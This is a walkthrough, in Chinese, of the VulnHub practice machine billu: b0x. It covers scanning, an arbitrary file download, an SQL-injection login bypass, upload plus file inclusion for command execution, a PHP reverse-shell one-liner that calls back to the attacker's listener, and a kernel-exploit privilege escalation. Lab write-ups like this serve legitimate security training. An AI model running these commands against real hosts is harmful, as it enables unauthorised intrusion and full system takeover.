靶场地址:billu: b0x ~ VulnHub
目录
1、下载文件,使用虚拟机打开,虚拟机网络配置NAT模式
2、namp扫描内网网段,查找新出现的地址
3、端口探测
快速扫描一下端口
nmap --min-rate 10000 -p- 192.168.135.139
# --min-rate 10000 最小10000的速率扫描端口
4、发现端口,继续深入扫描、识别
nmap -sT -sC -sV -p80,22 192.168.135.139
-sT:使用TCP扫描
-sC:使用默认脚本扫描
-sV:探测服务系统
5、使用脚本扫描一下
6、扫目录
python3 .\dirsearch.py -u http://192.168.135.139 -e *
7、test页面,任意文件下载
post传输数据,能够获取到目标文件,查看一下各个页面,下面是存在重要信息的页面
(1)查看一下index.php源码
curl -X POST --data file=./index.php http://192.168.135.139/test
(2)c.php页面
此页面存放了一个数据库连接账号
(3) in.php
phpinfo页面
8、sql注入
根据首页源码构造sql语句,绕过登录
or 1=1 --+ \
#登录框
\
#密码框
9、文件上传
登录页面后存在显示用户页面、添加用户页面,其中添加用户可以上传头像,此时可以尝试文件上传
上传图片,上传成功
此处上传成功,但是不能解析,但是panel.php页面中的添加用户、查看用户功能应该是包含的我们之前发现的add页面,show页面,所以可以尝试利用文件包含来使我们上传的页面得以解析。
其中add页面之前有尝试文件上传,但是没有显示,应该是因为没有用户身份信息,所以不能成功。
10、文件包含
抓包查看一下,我们需要将我们的图片路径放到load处,查看是否能够解析,同时需要修改url来进行执行我们的命令。
果然可以执行命令
11、反弹shell
可以使用php命令反弹shell,传入的语句需要进行url编码
php -r '$sock=fsockopen("192.168.135.132",6666);system("sh <&3 >&3 2>&3");'
kali开启监听
nc -lnvp 6666
此处可以使用提升一下nc的shell
python -c 'import pty; pty.spawn("/bin/bash")'
12、提权
此处是www权限,查看一下内核版本
搜索,使用37292这个比较符合内核版本
使用php开启服务,目标主机将.c 文件下载进来,这个地方需要到tmp目录下进行下载
编译为可运行文件,运行即可,此时就是root权限,提权结束